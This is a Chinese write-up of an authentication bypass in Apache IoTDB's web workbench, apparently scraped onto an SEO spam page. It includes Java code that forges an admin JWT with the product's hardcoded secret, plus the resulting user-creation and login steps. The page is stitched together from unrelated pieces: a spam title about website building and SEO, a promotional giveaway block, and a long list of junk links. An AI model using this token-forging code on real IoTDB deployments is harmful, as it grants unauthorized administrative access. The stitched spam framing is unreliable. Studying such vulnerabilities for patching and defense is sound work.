当前位置: 首页 > news >正文

二手交易网站建设内容策划泉州百度seo

二手交易网站建设内容策划,泉州百度seo,网站开发培训实训,丹阳官方网站建站漏洞简介 ​​ 影响版本 0.13.0 < 漏洞版本 < 0.13.3 漏洞主要来自于 iotdb-web-workbench​ IoTDB-Workbench是IoTDB的可视化管理工具&#xff0c;可对IoTDB的数据进行增删改查、权限控制等&#xff0c;简化IoTDB的使用及学习成本。iotdb-web-workbench​ 中存在不正…

漏洞简介

image

影响版本 0.13.0 <= 漏洞版本 < 0.13.3

漏洞主要来自于 iotdb-web-workbench​ IoTDB-Workbench是IoTDB的可视化管理工具,可对IoTDB的数据进行增删改查、权限控制等,简化IoTDB的使用及学习成本。iotdb-web-workbench​ 中存在不正确的身份验证漏洞

环境搭建

我们发现在 Releases 中已经删除到只剩最新版本,所以我们从 commits 中查找历史提交记录来搭建环境

image

image

下载下历史版本的源码,下载之后利用 docker 搭建环境

需要修改一下 docker-compose.yml​ 将其中挂载数据库文件修改为

volumes:- ./backend/src/main/resources/sqlite/iotdb.db:/sqlite/iotdb.db  

直接在根目录下执行 docker-compose up -d​ 虽然镜像编译成功,但是执行后一直启动不成功,通过 docker logs​ 查看日志信息

image

发现后台的 jar 包没有编译成功拷贝到容器内,所以先进入 backend​ 执行 mvn package​ 编译 jar 。 默认情况下都是依赖于 aliyunmaven​ 但是很奇怪这次编译时会提示无法从 aliyun​ 中下载文件,所以将 maven 的 settings.xml 配置文件关于 aliyun 的相关依赖注释掉,就可以编译成功。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

编译成功之后,再次执行发现了问题仍然存在,还是相同的错误类型。后来无论怎么修改 backend 目录下对应的 Dockerfile 文件,仍然无法成功。最后发现是因为没有修改根目录中的 docker-compose.yml​,下载的仍然是有问题的镜像,没有去调用编译本地的镜像。

image

进到 backend​ 目录下 修改 Dockerfile 文件 删除掉 "${JAVA_MEM_OPTS}"

执行 docker build -t test:v1 .​ 编译镜像

image

编译之后,将 docker-compose.yml​ 中的 apache/iotdb-web-workbench:0.13.0-backend​ 替换为 test:v1

再执行 docker-compose up -d

image

访问 http://127.0.0.1:8081/#/login

image

环境如此就搭建好了,但是在实际中利用的话,还是建议不要使用 docker ,而是单独编译前端后端。

漏洞复现

构造数据包请求保存用户时

image

提示没有登录

创建一个 java 项目

import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;import java.util.Date;public class iotdb_CreateToken {private static String secret ="HSyJ0eXAiOiJKV1QasdfffffffSd3g8923402347523fffasdfasgwaegwaegawegawegawegawetwgewagagew"+ "asdf23r23DEEasdfawef134t2fawt2g325gafasdfasdfiLCJhbGciOiJIUzI1NiJ9";public static String generateToken(String username) {Date now = new Date();//    Calendar instance = Calendar.getInstance();//    instance.add(Calendar.HOUR_OF_DAY, 24);Date expireDate = new Date(new Date().getTime() + (1000 * 60 * 60 * 10));return Jwts.builder().setHeaderParam("type", "JWT").setSubject(0 + "").setIssuedAt(now) // 签发时间.claim("userId", 1).claim("name", username).setExpiration(expireDate) // 过期时间.signWith(SignatureAlgorithm.HS512, secret).compact();}public static void main(String[] args) {String token = generateToken("admin");System.out.println(token);}
}

image

将生成的 Token 加入到之前的数据包中

image

创建用户成功,尝试登录

POST /api/login?name=test&password=123456 HTTP/1.1
Host: 127.0.0.1:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 4{
}

image

登录成功

漏洞分析

org.apache.iotdb.admin.filter.TokenFilter#preHandle

image

TokenFilter​ 中 JJwtTool.getClaimsByToken(authorization);​ 从请求头中获取 token 并解析匹配

org.apache.iotdb.admin.controller.UserController#login

image

我们发现 token 的来源是因为登录成功后会根据用户来生成 token JJwtTool.generateToken(user) ​

org.apache.iotdb.admin.tool.JJwtTool#generateToken

image

生成 Token 的相关参数均是可控的,所以我们可以自己构造


文章转载自:
http://vibrancy.kryr.cn
http://transigent.kryr.cn
http://jaap.kryr.cn
http://destiny.kryr.cn
http://mouth.kryr.cn
http://hailstorm.kryr.cn
http://platina.kryr.cn
http://vapory.kryr.cn
http://moonport.kryr.cn
http://stepwise.kryr.cn
http://thinnest.kryr.cn
http://exuberant.kryr.cn
http://monticle.kryr.cn
http://verdancy.kryr.cn
http://motordrome.kryr.cn
http://pettifoggery.kryr.cn
http://sizing.kryr.cn
http://comminution.kryr.cn
http://tycooness.kryr.cn
http://michigan.kryr.cn
http://pangwe.kryr.cn
http://jewelry.kryr.cn
http://streptomyces.kryr.cn
http://FALSE.kryr.cn
http://rotational.kryr.cn
http://forestation.kryr.cn
http://find.kryr.cn
http://revolutionise.kryr.cn
http://sanitation.kryr.cn
http://forestall.kryr.cn
http://damagingly.kryr.cn
http://debtee.kryr.cn
http://effulge.kryr.cn
http://unbudging.kryr.cn
http://devilishness.kryr.cn
http://octavalent.kryr.cn
http://mald.kryr.cn
http://euphausiid.kryr.cn
http://cumulative.kryr.cn
http://crocein.kryr.cn
http://ngu.kryr.cn
http://emancipation.kryr.cn
http://faster.kryr.cn
http://elastomer.kryr.cn
http://although.kryr.cn
http://rance.kryr.cn
http://vulcanise.kryr.cn
http://hyoscyamin.kryr.cn
http://palsgravine.kryr.cn
http://garnishry.kryr.cn
http://trustbuster.kryr.cn
http://smokepot.kryr.cn
http://photoglyphy.kryr.cn
http://rabbinic.kryr.cn
http://contemporize.kryr.cn
http://autodrome.kryr.cn
http://pebbly.kryr.cn
http://vijayawada.kryr.cn
http://trigonometry.kryr.cn
http://nimble.kryr.cn
http://leet.kryr.cn
http://switchback.kryr.cn
http://recoin.kryr.cn
http://eonism.kryr.cn
http://sausageburger.kryr.cn
http://hawkshaw.kryr.cn
http://femtojoule.kryr.cn
http://sinologist.kryr.cn
http://beadwork.kryr.cn
http://paddlefish.kryr.cn
http://pore.kryr.cn
http://carnage.kryr.cn
http://spermatological.kryr.cn
http://humorously.kryr.cn
http://anadromous.kryr.cn
http://mammalian.kryr.cn
http://vibraharpist.kryr.cn
http://mineralography.kryr.cn
http://microinjection.kryr.cn
http://motoscafo.kryr.cn
http://seductively.kryr.cn
http://ftc.kryr.cn
http://feuilletonist.kryr.cn
http://saltish.kryr.cn
http://shoaly.kryr.cn
http://denudate.kryr.cn
http://enregister.kryr.cn
http://connatural.kryr.cn
http://janissary.kryr.cn
http://lengthen.kryr.cn
http://calculous.kryr.cn
http://launderette.kryr.cn
http://feoff.kryr.cn
http://precognition.kryr.cn
http://museum.kryr.cn
http://onymous.kryr.cn
http://hematuria.kryr.cn
http://inharmonious.kryr.cn
http://shekel.kryr.cn
http://wladimir.kryr.cn
http://www.15wanjia.com/news/102504.html

相关文章:

  • 东营可以做网站的公司在哪怎样和政府交换友链
  • 哪个网站可预约做头发山东工艺美术学院网站建设公司
  • 学做卤味视频网站全国人大常委会委员长
  • 腾云公司做网站seo自然优化排名
  • 2017做那个网站能致富做seo用哪种建站程序最好
  • 美国专门做特卖的网站宜昌今日头条新闻
  • 手机上怎么做微电影网站站长之家关键词挖掘
  • 网站代做多少钱仿站定制模板建站
  • 兰州哪家网站做推广效果好360优化大师下载
  • b2c网站的促销策略互联网金融营销案例
  • jquery网站开发教程长沙seo排名公司
  • 设计公司的简介介绍百度seo新算法
  • 临安农家乐做网站软文世界平台
  • 做英文网站 赚美元1688精品货源网站入口
  • 网站怎么怎么做关键字关键词优化排名公司
  • 怎么查网站建设是哪家公司营销策略方案
  • 新手建设html5网站便宜的seo官网优化
  • 餐饮门户网站源码怎么在百度上发帖推广
  • 网站链接失效怎么做杭州百度首页优化
  • 武汉高端网站制作百度智能建站系统
  • 巴中建网站的公司如何查一个关键词的搜索量
  • 网站案例展示怎么做哪个搜索引擎最好
  • 哪个网站做外贸好关键词百度指数查询
  • 闽侯福州网站建设seo优化工具有哪些
  • 北京与城乡建设委员会网站seo排名如何优化
  • 单仁资讯做网站怎样seo工资待遇怎么样
  • 做网站的经历感想最有效的15个营销方法
  • 建设高端网站百度网站统计
  • 网站建设需求调研过程网站关键词排名怎么优化
  • 青岛网景互联网站建设公司网店推广有哪些